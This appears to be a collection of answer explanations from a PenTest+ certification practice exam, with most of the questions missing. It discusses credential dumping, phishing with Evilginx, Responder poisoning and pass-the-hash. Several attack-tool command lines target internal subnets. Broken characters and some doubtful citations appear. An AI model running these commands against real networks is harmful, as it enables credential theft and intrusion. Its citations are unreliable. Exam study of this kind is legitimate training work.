Purpose: Credential dumping involves extracting password hashes and plaintext passwords from compromised systems. These credentials can be used to gain further access to sensitive data and critical systems within the network.

Tools: Common tools used for credential dumping include Mimikatz, Windows Credential Editor, and ProcDump.

Impact: With these credentials, the tester can move laterally across the network, escalate privileges, and access confidential information.

Comparison with Other Options:

Initiate a Social Engineering Campaign (A): Social engineering is typically an initial access technique rather than a follow-up action after gaining internal access.

Compromise an Endpoint (C): The tester already has a foothold, so compromising another endpoint is less direct than credential dumping for accessing sensitive information.

Share Enumeration (D): While share enumeration can provide useful information, it is less impactful than credential dumping in terms of gaining further access and achieving the main objective.

Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.

======

======

Based on the CVSS (Common Vulnerability Scoring System) and EPSS (Exploit Prediction Scoring System) scores, Target 1 is the most likely to get attacked.

CVSS:

Definition: CVSS provides a numerical score to represent the severity of a vulnerability, helping to prioritize the response based on the potential impact.

Score Range: Scores range from 0 to 10, with higher scores indicating more severe vulnerabilities.

EPSS:

Definition: EPSS estimates the likelihood that a vulnerability will be exploited in the wild within the next 30 days.

Score Range: EPSS scores range from 0 to 1, with higher scores indicating a higher likelihood of exploitation.

Analysis:

Target 1: CVSS = 4, EPSS = 0.6

Target 2: CVSS = 2, EPSS = 0.3

Target 3: CVSS = 1, EPSS = 0.6

Target 4: CVSS = 4.5, EPSS = 0.4

Target 1 has a moderate CVSS score and a high EPSS score, indicating it has a significant vulnerability that is quite likely to be exploited.

Pentest References:

Vulnerability Prioritization: Using CVSS and EPSS scores to prioritize vulnerabilities based on severity and likelihood of exploitation.

Risk Assessment: Understanding the balance between impact (CVSS) and exploit likelihood (EPSS) to identify the most critical targets for remediation or attack.

By focusing on Target 1, which has a balanced combination of severity and exploitability, the penetration tester can address the most likely target for attacks based on the given scores.

======

The correct answer is A. Decompile the bytecode.

Java applications are commonly distributed as archive files such as .jar, .war, or .ear files. These archives usually contain compiled Java bytecode in .class files rather than the original readable source code.

To perform static analysis, the tester must inspect the application without executing it. Therefore, the first practical step is to extract and decompile the Java bytecode back into readable Java-like source code using tools such as JD-GUI, CFR, FernFlower, or JADX.

B is incorrect because fuzz testing is a dynamic testing technique. It involves sending malformed or unexpected inputs to a running application, not reviewing the application statically.

C is incorrect because a .so file is a Linux shared object library. Converting a Java archive to a .so file is not part of Java static analysis.

D is incorrect because the Java interpreter is part of the runtime environment. Disassembling the interpreter does not analyze the target Java application.

In PenTest+ terms, this falls under Tools and Code Analysis, specifically static application security testing, reverse engineering Java archives, and reviewing compiled bytecode for security flaws.

Moorche2026-04-29T01:08:00.59M

To acquire valid credentials through a social engineering campaign, the tester needs (1) a way to deliver controlled phishing messages and track engagement, and (2) a method to capture authentication material when targets attempt to log in. Gophish is a phishing campaign framework used to send realistic emails, manage templates and landing pages, and collect campaign metrics (opens, clicks, submitted data). This directly supports the operational side of a sanctioned phishing assessment described in PenTest+ social engineering activities.

Evilginx aligns with credential acquisition by acting as a reverse-proxy phishing technique that relays “real” authentication traffic to the legitimate site while capturing credentials and related session artifacts during the login flow. This is especially relevant in modern environments where testers may need to evaluate the effectiveness of protections like MFA and conditional access controls.

Other options are supportive but not the most direct for credential capture: theHarvester/Maltego help identify or organize targets, Shodan focuses on exposed systems, and TruffleHog searches for leaked secrets in repositories rather than conducting a social engineering campaign.

A. Deploy a command-and-control server with custom profiles to facilitate execution.

B. Use Python 3 with added testing libraries and script the relevant action to test.

C. Utilize the PowerShell PowerView tool with custom scripting additions based on test results.

D. Implement Atomic Red Team to chain critical TTPs and perform the test.

Answer: D

To automate adversarial activities in a repeatable, measurable way, PenTest+ emphasizes using frameworks that map directly to attacker behaviors (TTPs) and support consistent execution across environments. Atomic Red Team is designed specifically for this purpose: it provides standardized, modular tests aligned to common adversary techniques and allows defenders and testers to validate detection and response capabilities by repeatedly executing those behaviors in a controlled manner. Starting with Atomic Red Team helps translate lessons learned from penetration tests into an ongoing validation program by selecting only the techniques relevant to the organization’s threat model and then chaining them into realistic sequences. This supports continuous security testing, regression checks after changes, and objective measurement of control effectiveness.

By contrast, deploying a full command-and-control platform first increases operational complexity and risk without ensuring the activities are standardized or easily repeatable. Writing custom Python scripts or extending PowerView can work, but those approaches typically require more bespoke development and do not inherently provide a structured library of TTP tests that can be consistently run and reported. Atomic Red Team is the best “first” step for automation.

The presence of SMB (port 445) and MSRPC (port 135) indicates potential Windows network services that could be vulnerable to misconfigurations or exploits.

Enumerate shares and search for vulnerabilities on SMB (Option B):

SMB (Server Message Block) allows file and printer sharing. Misconfigured or open shares could contain sensitive data.

Tools like enum4linux or smbclient can be used to list available shares and check for anonymous access.

SMB vulnerabilities (e.g., EternalBlue - CVE-2017-0144) can be exploited for remote code execution.

Capturing plaintext credentials in network traffic is done using packet sniffing. Wireshark is the best tool for this task.

Option A (Burp Suite) ?: Used for web application testing and intercepting HTTPS traffic, but not general network sniffing.

Option B (Wireshark) ?: Correct.

Wireshark is a packet analysis tool that captures unencrypted network traffic, including plaintext credentials.

Option C (ZAP - Zed Attack Proxy) ?: Similar to Burp Suite, but focused on web application security, not network packet capture.

Option D (Metasploit) ?: Metasploit is used for exploitation rather than capturing traffic.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Packet Sniffing & Network Traffic Analysis

To collect information over the network, especially during an internal assessment, tools that can capture and analyze network traffic are essential. Responder is specifically designed for this purpose, and it can capture NTLM hashes and other credentials by poisoning various network protocols. Here’s a breakdown of the options:

Option A: ntlmrelayx.py -t 192.168.1.0/24 -1 1234

ntlmrelayx.py is used for relaying NTLM authentication but not for broad network information collection.

Option B: nc -tulpn 1234 192.168.1.2

Netcat (nc) is a network utility for reading from and writing to network connections using TCP or UDP but is not specifically designed for comprehensive information collection over a network.

Option C: responder.py -I eth0 -wP

Responder is a tool for LLMNR, NBT-NS, and MDNS poisoning. The -I eth0 option specifies the network interface, and -wP enables WPAD rogue server which is effective for capturing network credentials and other information.

Option D: crackmapexec smb 192.168.1.0/24

CrackMapExec is useful for SMB-related enumeration and attacks but not specifically for broad network information collection.

References from Pentest:

Anubis HTB: Highlights the use of Responder to capture network credentials and hashes during internal assessments??.

Horizontall HTB: Demonstrates the effectiveness of Responder in capturing and analyzing network traffic for further exploitation??.

======

When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here’s a breakdown of the options:

Option A: Responder

Responder is primarily used for poisoning LLMNR, NBT-NS, and MDNS to capture hashes, but not for leveraging NTLM hashes obtained post-exploitation.

Option B: Hydra

Hydra is a password-cracking tool but not specifically designed for NTLM hashes or pass-the-hash attacks.

Option C: BloodHound

BloodHound is used for mapping out Active Directory relationships and identifying potential attack paths but not for using NTLM hashes directly.

Option D: CrackMapExec

CrackMapExec is a versatile tool that can perform pass-the-hash attacks, execute commands, and more using NTLM hashes. It is designed for post-exploitation scenarios involving NTLM hashes.

References from Pentest:

Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network??.

Horizontall HTB: Shows how CrackMapExec can be used for various post-exploitation activities, including using NTLM hashes to authenticate and execute commands??.

Conclusion:

Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.

======

To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.

Unauthenticated Scan:

Definition: An unauthenticated scan is conducted without providing any credentials to the scanning tool. It simulates the perspective of an external attacker who does not have any prior access to the system.

Purpose: Identifies vulnerabilities that are exposed to the public and can be exploited without authentication. This includes open ports, outdated software, and misconfigurations visible to the outside world.

Comparison with Other Scans:

SAST (Static Application Security Testing): Analyzes source code for vulnerabilities, typically used during the development phase and not suitable for external vulnerability scanning.

Sidecar: This term is generally associated with microservices architecture and is not relevant to the context of vulnerability scanning.

Host-based: Involves scanning from within the network and often requires authenticated access to the host to identify vulnerabilities. It is not suitable for determining external vulnerabilities.

Pentest References:

External Vulnerability Assessment: Conducting unauthenticated scans helps identify the attack surface exposed to external threats and prioritizes vulnerabilities that are accessible from the internet.

Tools: Common tools for unauthenticated scanning include Nessus, OpenVAS, and Nmap.

By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.

======